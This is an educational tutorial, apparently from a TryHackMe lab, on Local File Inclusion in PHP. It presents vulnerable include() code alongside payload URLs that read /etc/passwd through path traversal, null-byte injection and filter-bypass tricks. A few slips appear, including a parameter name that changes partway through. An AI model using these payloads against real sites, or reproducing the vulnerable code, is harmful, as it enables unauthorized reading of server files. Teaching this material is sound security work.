Local File Inclusion attacks against web applications are often possible due to a developers' lack of security awareness.
With PHP, using functions such as include
, require
, include_once
, and require_once
often contribute to vulnerable web applications.
LFI vulnerabilities also occur when using other languages such as ASP, JSP, or even in Node.js apps. LFI exploits follow the same concepts as path-traversal.
Example
Suppose the web application provides two languages, and the user can select between the EN and AR
<?php
include($_GET["lang"]);
?>
The PHP code above uses a GET request via the URL parameter lang
to include the file of the page.
http://webapp.com/index.php?lang=EN.php
http://webapp.com/index.php?lang=AR.php
Theoretically, we can access and display any readable file on the server from the code above if there isn't any input validation:
http://webapp.com/index.php?lang=/etc/passwd
Example #2
The developer might decided to specify the directory inside the function:
<?PHP
include("languages/". $_GET['lang']);
?>
In the above code, the developer decided to use the include function to call PHP pages in the languages directory only via lang parameters.
If there is no input validation, the attacker can manipulate the URL by replacing the lang input with other OS-sensitive files such as /etc/passwd.
The include
function allows us to include any called files into the current page. The following will be the exploit:
http://webapp.com/index.php?lang=../../../../etc/passwd
Example #3
In the first two cases, we checked the code for the web app, and then we knew how to exploit it. In case of black-box-testing, we need to take a look of the error messages in order to understand how the data is passed and processed into the web app, eg:
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/**THM-4**/index.php on line 12
The error message discloses what the include function looks like: include(languages/THM.php);
We can tell the function that includes files in the languages directory is adding .php
at the end of the entry. Thus the valid input will be something like index.php?lang=EN
, where the file EN is located inside the given languages/
and named EN.php
.
From the error message we also know the full web application directory which is /var/www/html/THM-4/
To exploit this, we need to use the dot-dot-slash trick to get out the current folder:
http://webapp.com/index.php?lang=../../../../etc/passwd
We already knew the /var/www/html/THM-4
path has four levels, but we still receive the error:
Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
The error tells us that the developer specifies the file type to pass to the include
function (namely it has to end with .php
). To go around that, we need to use null-byte injection:
http://webapp.com/index.php?file=../../../../etc/passwd%00
Example #4 - filtered keywords
Let's say the developer decided to filter keywords to avoid disclosing sensitive information and the /etc/passwd
file has been filtered.
There are two possible methods to bypass the filter.
- by using the null byte %00
- the current directory path-traversal trick at the end of the filtered keyword (
/.
)
The exploit will be similar to ```
http://webapp.thm/index.php?lang=/etc/passwd/.
If we try /etc/passwd/..
, it results to be /etc/
and that's because we moved one to the root. If we try /etc/passwd/.
, the result will be /etc/passwd
since dot refers to the current directory.
Example #5 - input validation
Let's say the developer starts to use input validation by filtering some keywords out of it.
http://webapp.thm/index.php?lang=../../../../etc/passwd
By using such URL, we got the following error:
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15
From the error message we know that the web application replaces the ../
with the empty string (it defaults the fn call to include(languages/etc/passwd
).
There are a couple of techniques we can use to bypass this.
We can send the following payload to bypass it: ....//....//....//....//....//etc/passwd
, as the PHP filter only matches and replaces the first subset string it finds (../
) and doesn't do another pass, turning
..//....//....//....//etc/passwd
into
../../../../etc/passwd
Example 6 - forced directory
If the developer forces the include
fn to read from a defined directory, namely, if the web application asks to supply input that has to include a directory such as
http://webapp.thm/index.php?lang=languages/EN.php
then, to exploit this, we need to include the directory in the payload like so:
?lang=languages/../../../../../etc/passwd